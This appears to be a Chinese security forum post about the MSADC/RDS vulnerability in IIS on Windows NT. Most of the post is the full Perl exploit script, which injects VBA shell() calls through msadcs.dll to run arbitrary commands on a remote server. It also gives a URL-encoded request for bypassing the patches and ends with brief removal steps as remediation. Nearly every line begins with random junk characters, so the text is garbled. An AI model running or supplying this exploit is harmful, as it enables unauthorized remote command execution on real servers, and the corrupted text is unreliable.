IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
F!]UaEmV )Xd=EWGUS 涉及程序:
GsDSJz Microsoft NT server
QQ2xNNF[ ^|\ *i 描述:
KD,b.s 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
YY7:WQS !&Q,]\j 详细:
8.-PQ 如果你没有时间读详细内容的话,就删除:
*<9 D] c:\Program Files\Common Files\System\Msadc\msadcs.dll
I$f:K]|.m! 有关的安全问题就没有了。
}d.R=A9L $,i:#KT` 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
K:'pK1zy EVq<gGy 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
S}Mxm2 关于利用ODBC远程漏洞的描述,请参看:
8(3vNuyP 1&jX~' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )_j.0a
|:!0`p{R 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
D<xP x http://www.microsoft.com/security/bulletins/MS99-025faq.asp K?I@'B' "#4PU5. 这里不再论述。
I">z#@CT P:*'x9` 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
5 yA^ n6 #{h4lte /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|{9"n<JW 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
!]kn=7 +e?ixvld VKN^gz #将下面这段保存为txt文件,然后: "perl -x 文件名"
K03a@: ~]"}s(J; #!perl
Q;5\( 0w5 #
HwU \[f # MSADC/RDS 'usage' (aka exploit) script
*39sh[*} #
WX0@H[$i# # by rain.forest.puppy
#v&&GuF #
#G*z{BRQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Q 5@~0 # beta test and find errors!
a'T|p)N.;T f2{4Y) use Socket; use Getopt::Std;
#h r!7Kc;N getopts("e:vd:h:XR", \%args);
U Ciq'^, i6X/`XW' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
MH !CzV& Pi8U}lG; if (!defined $args{h} && !defined $args{R}) {
gpw(j0/Fs print qq~
/u #9M { Usage: msadc.pl -h <host> { -d <delay> -X -v }
tY[y? DJ -h <host> = host you want to scan (ip or domain)
*\joaw -d <seconds> = delay between calls, default 1 second
q1?2
U< -X = dump Index Server path table, if available
x7NxHTL -v = verbose
RIJBHOa -e = external dictionary file for step 5
m7RWu I, iz*aBXV A[ Or a -R will resume a command session
?<nz2 piP, |_w*:NCV5 ~; exit;}
@'}X&TN<a -TD6s:' $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Kjf#uU.7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"\>3mVOb if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
iOJgZuP if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}VFSF/\^ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&rNXn?>b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Hy `r}+ |Zt=8}di if (!defined $args{R}){ $ret = &has_msadc;
jM7}LV1Ck die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
W
B!$qie\ (yX Vp2k print "Please type the NT commandline you want to run (cmd /c assumed):\n"
N`zHe*=[~ . "cmd /c ";
g:2/!tujL $in=<STDIN>; chomp $in;
mB1)! $command="cmd /c " . $in ;
"n8_Ag@r ;l`8w3fDt if (defined $args{R}) {&load; exit;}
~Yr.0i.W (>8fcQUBb print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
EI_J7J+ &try_btcustmr;
IsRsjhg8x 2XI%4 print "\nStep 2: Trying to make our own DSN...";
SA/0Z = &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+6;OB@ -_4! id print "\nStep 3: Trying known DSNs...";
aoJ&< vl3 &known_dsn;
{;-$;\D gf3/ kll9 print "\nStep 4: Trying known .mdbs...";
8wy"m=>=b} &known_mdb;
1:&$0jU&U u5,IH2BU if (defined $args{e}){
ZR#UoYjupb print "\nStep 5: Trying dictionary of DSN names...";
PkVXn
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
GB
!3Z "^trHh8= print "Sorry Charley...maybe next time?\n";
1gt[_P2u exit;
d@w
I:
7 de`6%%| ##############################################################################
DX!$k[ 6Edqg sub sendraw { # ripped and modded from whisker
)b-G2< kb sleep($delay); # it's a DoS on the server! At least on mine...
zh4o<f:- my ($pstr)=@_;
snK9']WXo socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H~$|y9>qI die("Socket problems\n");
|j!D _j#U if(connect(S,pack "SnA4x8",2,80,$target)){
4B> l|% select(S); $|=1;
/z'j:~`E print $pstr; my @in=<S>;
PAc~p8S select(STDOUT); close(S);
MRC5c:( return @in;
-!}1{ } else { die("Can't connect...\n"); }}
1u`Z?S( %idnm ##############################################################################
@=,J6 ZHF@k'vm/9 sub make_header { # make the HTTP request
T }8aj my $msadc=<<EOT
P;y/`_jo POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
xp&I~YPH User-Agent: ACTIVEDATA
l%U9g Host: $ip
tou^p-)GQ| Content-Length: $clen
y7w>/7q Connection: Keep-Alive
^{Vm,nAQqs cbteNA!> ADCClientVersion:01.06
2
43DdIG$ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"*T)L<G rcbixOT --!ADM!ROX!YOUR!WORLD!
C4G)anT Content-Type: application/x-varg
:{AN@zC0\ Content-Length: $reqlen
Mfz5:' $K iMu EOT
kQb0pfYs ; $msadc=~s/\n/\r\n/g;
QxkfP %_g return $msadc;}
:C&?(HJ&r af_zZf!0 ##############################################################################
_m&VdIPO zZRqb/20 sub make_req { # make the RDS request
j[HKC0C6 my ($switch, $p1, $p2)=@_;
6RF01z|~_ my $req=""; my $t1, $t2, $query, $dsn;
ENmo^O#,u e}?t[aK4# if ($switch==1){ # this is the btcustmr.mdb query
P``hw=L $query="Select * from Customers where City=" . make_shell();
d-*9tit $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
J^XH^`' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
CVUDN2 A1@-;/H3 elsif ($switch==2){ # this is general make table query
-Rvxjy)[N $query="create table AZZ (B int, C varchar(10))";
.d fTv/n $dsn="$p1";}
3}+/\:q* &l.^UQ elsif ($switch==3){ # this is general exploit table query
@N(jd($E $query="select * from AZZ where C=" . make_shell();
Dxe|4"%^ $dsn="$p1";}
/}VQzF L=p.@VSZ elsif ($switch==4){ # attempt to hork file info from index server
+-Dd*yD6< $query="select path from scope()";
c`>\R<Z ] $dsn="Provider=MSIDXS;";}
xvkof
'Q) yO6i "3 elsif ($switch==5){ # bad query
u7;A` $query="select";
i~.[iZf| $dsn="$p1";}
V.4j?\#% 5[3hw4 $t1= make_unicode($query);
GW W@8GNI $t2= make_unicode($dsn);
zZxP=
c $req = "\x02\x00\x03\x00";
T'V(%\w $req.= "\x08\x00" . pack ("S1", length($t1));
]`NbNr]K $req.= "\x00\x00" . $t1 ;
*Z]|
Z4Q/` $req.= "\x08\x00" . pack ("S1", length($t2));
NqWHR~& $req.= "\x00\x00" . $t2 ;
Z:*U/_G $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
aw 7f$Fqk return $req;}
ZBXGuf kgI Wgk% ##############################################################################
<,GHy/u\ vBpg6
fX sub make_shell { # this makes the shell() statement
~;+vF-]R return "'|shell(\"$command\")|'";}
MJb = +L wx!*fy4hL ##############################################################################
V;6M[ic} ~L1O\V
i sub make_unicode { # quick little function to convert to unicode
<Hp"ZCN my ($in)=@_; my $out;
bXfOZFzq) for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"VeUOdNA> return $out;}
d5%*^nMpY 1^;h:,e6 ##############################################################################
rEf\|x=st: "tark' sub rdo_success { # checks for RDO return success (this is kludge)
4Rm3'Ch my (@in) = @_; my $base=content_start(@in);
W>~%6K>p if($in[$base]=~/multipart\/mixed/){
7L]?)2= return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Gh
pd
k; return 0;}
A)#sh)
}Q Po_OQJ:bd ##############################################################################
<7 rK %8tN$8P sub make_dsn { # this makes a DSN for us
)L!R~F
C my @drives=("c","d","e","f");
'2tEKVb print "\nMaking DSN: ";
cg.e(@( foreach $drive (@drives) {
$SXxAS1 print "$drive: ";
I5A^/=bf& my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
10rGA=x'( "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
b>z.d- . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
s`J=:>9* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
hq*JQb;Y} return 0 if $2 eq "404"; # not found/doesn't exist
\,EPsQV0? if($2 eq "200") {
VqrMi *W6 foreach $line (@results) {
P~<93 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
d{hYT\7~1( } return 0;}
G"[pr%? 6'ZnyWb ##############################################################################
StL[\9~: gB(W`:[ sub verify_exists {
9O Q4\ my ($page)=@_;
Ib\G{$r my @results=sendraw("GET $page HTTP/1.0\n\n");
WK}+f4tdW[ return $results[0];}
jq]"6/xxb GN9_ZlC ##############################################################################
Mh|`XO.5I T/;hIX:R sub try_btcustmr {
&-:yn&f7 my @drives=("c","d","e","f");
l{U 3; my @dirs=("winnt","winnt35","winnt351","win","windows");
6y_Z'@L ) R@gnTe foreach $dir (@dirs) {
-],?kP print "$dir -> "; # fun status so you can see progress
gk1S"H foreach $drive (@drives) {
orHD3T%& print "$drive: "; # ditto
WS/+Yl $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%`1vIr(7 $reqlenlen=length( "$reqlen" );
ewG21 q$ $clen= 206 + $reqlenlen + $reqlen;
'lk74qU$ UK>=y_FYO my @results=sendraw(make_header() . make_req(1,$drive,$dir));
uq%3;#[0 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Nj_sU0Dt else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
D,j5k3< # @>IjfrjV ##############################################################################
9u @h` FBAC9}V" sub odbc_error {
h3EDN:FQ my (@in)=@_; my $base;
1$VI\} my $base = content_start(@in);
kA;Tr4EA6 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
T:">,*| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<M?#3&5A $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m tQ{6u
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GKhwn&qCKb return $in[$base+4].$in[$base+5].$in[$base+6];}
\,gZNe&Vv print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
s~ZFVi-i print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
.b`P! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
&n.uNe 5{0>7c|. ##############################################################################
eKz~viM' _0q~s@- sub verbose {
r)]CZ]) my ($in)=@_;
&]F|U3 return if !$verbose;
zlztF$Bo print STDOUT "\n$in\n";}
_1> 4Q% qetP93N_* ##############################################################################
fsc~$^.~\ DIp:S&q2 sub save {
"ue$DyN my ($p1, $p2, $p3, $p4)=@_;
]MLLr'6? open(OUT, ">rds.save") || print "Problem saving parameters...\n";
NND=Zxl print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
!K3cf]2UD close OUT;}
-,A5^>}%,Y m'(;uR` ##############################################################################
>X,Ag KBRg95E~]l sub load {
;3}EBcw) my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*\:_o5o%[T open(IN,"<rds.save") || die("Couldn't open rds.save\n");
eQVPxt2N @p=<IN>; close(IN);
5[2.5/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
50GYL5)q $target= inet_aton($ip) || die("inet_aton problems");
AOx3QgC^NO print "Resuming to $ip ...";
FT/5 _1i $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
o-=d|dWG if($p[1]==1) {
FNm6/_u3 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
XVDd1#h $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+%qSB9_>N{ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
QiE<[QP{g if (rdo_success(@results)){print "Success!\n";}
o+_/)c else { print "failed\n"; verbose(odbc_error(@results));}}
iQzX-a|4] elsif ($p[1]==3){
T[XP\!z]B! if(run_query("$p[3]")){
\_Kt6= print "Success!\n";} else { print "failed\n"; }}
?hJsN elsif ($p[1]==4){
bjPbl2K if(run_query($drvst . "$p[3]")){
-V
u/TT0 print "Success!\n"; } else { print "failed\n"; }}
(d'j'U:C exit;}
a5}44/% e9`uD|KAS| ##############################################################################
wvmg)4, dXcPWbrU4 sub create_table {
u:uSsAn0$ my ($in)=@_;
q= yZx) $reqlen=length( make_req(2,$in,"") ) - 28;
3']:1B $reqlenlen=length( "$reqlen" );
}K/}(zuy1Y $clen= 206 + $reqlenlen + $reqlen;
TjUZv 1(L my @results=sendraw(make_header() . make_req(2,$in,""));
fAMD2C return 1 if rdo_success(@results);
,B~lwF9 my $temp= odbc_error(@results); verbose($temp);
rbK#a)7 return 1 if $temp=~/Table 'AZZ' already exists/;
|aS~"lImh return 0;}
Cj !i)- <duBwkiG ##############################################################################
/iTUex7T > 1r[]&8 sub known_dsn {
l!;_lH8W$ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ZcTL#OTP my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
c2/R]%`)9 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
U +*oI * "banner", "banners", "ads", "ADCDemo", "ADCTest");
Z6R:
rq xQ#Akd= foreach $dSn (@dsns) {
(9KDtr*(2i print ".";
yC'hwoQ` next if (!is_access("DSN=$dSn"));
V%BJNJ if(create_table("DSN=$dSn")){
y*}vG}e% print "$dSn successful\n";
DN"S, if(run_query("DSN=$dSn")){
tt7PEEf print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
gVa+.x] print "Something's borked. Use verbose next time\n";}}} print "\n";}
3|K=%jr[ 5BU%%fBJ. ##############################################################################
Ig02M_ =XMD+ sub is_access {
8|5Gv my ($in)=@_;
oEenm\ZI $reqlen=length( make_req(5,$in,"") ) - 28;
Txt%nzIu $reqlenlen=length( "$reqlen" );
)l#%.Z9 $clen= 206 + $reqlenlen + $reqlen;
:Hzz{' my @results=sendraw(make_header() . make_req(5,$in,""));
w>6"Sc7oc2 my $temp= odbc_error(@results);
pHj[O?F verbose($temp); return 1 if ($temp=~/Microsoft Access/);
`J>E9p< return 0;}
'&-5CpDUs #QTfT&m+G} ##############################################################################
\!UF|mD^tG jr,&=C( sub run_query {
~U"by_ my ($in)=@_;
%tzN@ $reqlen=length( make_req(3,$in,"") ) - 28;
s;B
j7] $reqlenlen=length( "$reqlen" );
?qg^WDs$ $clen= 206 + $reqlenlen + $reqlen;
bkr~13S{+ my @results=sendraw(make_header() . make_req(3,$in,""));
q GpP, return 1 if rdo_success(@results);
I|g@W_ my $temp= odbc_error(@results); verbose($temp);
lh,ylh return 0;}
?w]"~ A6^p}_ ##############################################################################
E!zd( %\}dbYS
' sub known_mdb {
|rE!
my @drives=("c","d","e","f","g");
n|70x5Z?}J my @dirs=("winnt","winnt35","winnt351","win","windows");
$` Z>Lm* my $dir, $drive, $mdb;
S'Z70 zJ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
tt6.
jo yhcNE8mkQ/ # this is sparse, because I don't know of many
=vqsd4 my @sysmdbs=( "\\catroot\\icatalog.mdb",
KInUe(g<9M "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^&+zA,aL,A "\\system32\\certmdb.mdb",
7tpAZ<{ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
MxO
W)$f 3>-[B`dD( my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
2BoFyL* "\\cfusion\\cfapps\\forums\\forums_.mdb",
bz,Da "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
2{A;du%& "\\cfusion\\cfapps\\security\\realm_.mdb",
,|T*|2Gm "\\cfusion\\cfapps\\security\\data\\realm.mdb",
(3
IZ "\\cfusion\\database\\cfexamples.mdb",
{S5RK-ax "\\cfusion\\database\\cfsnippets.mdb",
&mN'Tk "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
pU?{0xZH "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
81GQijq "\\cfusion\\brighttiger\\database\\cleam.mdb",
+1otn~(E "\\cfusion\\database\\smpolicy.mdb",
Nb~,`bu,2 "\\cfusion\\database\cypress.mdb",
+
,@ FxZl "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
{0is wq'J "\\website\\cgi-win\\dbsample.mdb",
&$mZ?%^C "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
m b%C}8D "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
W(;x\Nc7 ); #these are just
!oZQ2z~ foreach $drive (@drives) {
%04:z77 foreach $dir (@dirs){
c3=-Mq9Q foreach $mdb (@sysmdbs) {
,>D ja59 print ".";
8[8|*8xqs if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
oN *SRaAp print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
kQ@gO[hS if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
v<L=!-b^ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
nd.57@*M } else { print "Something's borked. Use verbose next time\n"; }}}}}
J.1O/Pw!.a B$cOssl foreach $drive (@drives) {
89hF)80 foreach $mdb (@mdbs) {
2 dHM print ".";
B4`2.yRis if(create_table($drv . $drive . $dir . $mdb)){
qBT_!
)h
print "\n" . $drive . $dir . $mdb . " successful\n";
&MCy.(jN if(run_query($drv . $drive . $dir . $mdb)){
U(U@!G) print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,"~WkLI~\t } else { print "Something's borked. Use verbose next time\n"; }}}}
TQ;
Z.)L }
*8z"^7?^= $aB/+, ##############################################################################
<f%ujrX
+"jl(5Q sub hork_idx {
;avQ1T'{?g print "\nAttempting to dump Index Server tables...\n";
3\;v5D: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
d)N^PJ/ $reqlen=length( make_req(4,"","") ) - 28;
ZB-QABn $reqlenlen=length( "$reqlen" );
/+>)"D6' $clen= 206 + $reqlenlen + $reqlen;
ZTN(irK my @results=sendraw2(make_header() . make_req(4,"",""));
&|)hCJu if (rdo_success(@results)){
$j57LY|r my $max=@results; my $c; my %d;
js~tKUvg for($c=19; $c<$max; $c++){
,Kuk_@(}5~ $results[$c]=~s/\x00//g;
>9ob *6q, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
+wipfL~&S $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
538fK9[ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
2b5 #PcKa $d{"$1$2"}="";}
+a|"{ foreach $c (keys %d){ print "$c\n"; }
zJ5hvDmC } else {print "Index server doesn't seem to be installed.\n"; }}
vkJ)FEar }i(qt&U; ##############################################################################
5?Bc
Y; 2z4<N2!M sub dsn_dict {
'!p=aF9L open(IN, "<$args{e}") || die("Can't open external dictionary\n");
grr'd+_ e while(<IN>){
z<hFK+j,'^ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Re>AsnA[ next if (!is_access("DSN=$dSn"));
l09Fn>wa if(create_table("DSN=$dSn")){
"u_i[[y print "$dSn successful\n";
jAXR`D if(run_query("DSN=$dSn")){
cv2]* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2gt+l?O<PS print "Something's borked. Use verbose next time\n";}}}
^EF'TO$ print "\n"; close(IN);}
9z:K1 :Zza)>l ##############################################################################
UVrQV$g! -LTKpN`[@ sub sendraw2 { # ripped and modded from whisker
wzd`l?o, sleep($delay); # it's a DoS on the server! At least on mine...
ndw7v my ($pstr)=@_;
;+sl7qlA4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'_V
#;DI die("Socket problems\n");
+IrZ
;&oy if(connect(S,pack "SnA4x8",2,80,$target)){
6Opa{] print "Connected. Getting data";
r088aUO
P open(OUT,">raw.out"); my @in;
{(4# )K2g% select(S); $|=1; print $pstr;
Wbe0ZnM] while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
C}q>YRubZ close(OUT); select(STDOUT); close(S); return @in;
v9=}S\=Cd } else { die("Can't connect...\n"); }}
OOok hZd` B@ {&< ##############################################################################
zN%97q_ yG\UW&P sub content_start { # this will take in the server headers
1]T|6N? my (@in)=@_; my $c;
{6h|6.S2 for ($c=1;$c<500;$c++) {
%]!adro~ if($in[$c] =~/^\x0d\x0a/){
1_uvoFLk if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
V>Fesm"aq else { return $c+1; }}}
%t*[T return -1;} # it should never get here actually
~h!
13! GX
}q9 ##############################################################################
PnA?+u2m 'f+NW& sub funky {
)s)_XL my (@in)=@_; my $error=odbc_error(@in);
=LI:S|[4 if($error=~/ADO could not find the specified provider/){
|f\D>Y%) print "\nServer returned an ADO miscofiguration message\nAborting.\n";
eZH~je{1 exit;}
x0A7O if($error=~/A Handler is required/){
: lgi>^ print "\nServer has custom handler filters (they most likely are patched)\n";
Ow@v"L;jF! exit;}
EiWd+v,QJQ if($error=~/specified Handler has denied Access/){
$
KB print "\nServer has custom handler filters (they most likely are patched)\n";
)T1iN(Z exit;}}
}^Gd4[(,g :_xh(W+2< ##############################################################################
io.]'"> .IgRY\?Q sub has_msadc {
K*Ks"Vx my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'H|~u&? my $base=content_start(@results);
qM",( Bh return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
]]2k}A[-I return 0;}
5dl,co{q W\8Ln> ########################
Z(e^ iH ~jN'J+_$ eh(<m8I 解决方案:
or 2|O#= 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
ys8Q.oBv_` 2、移除web 目录: /msadc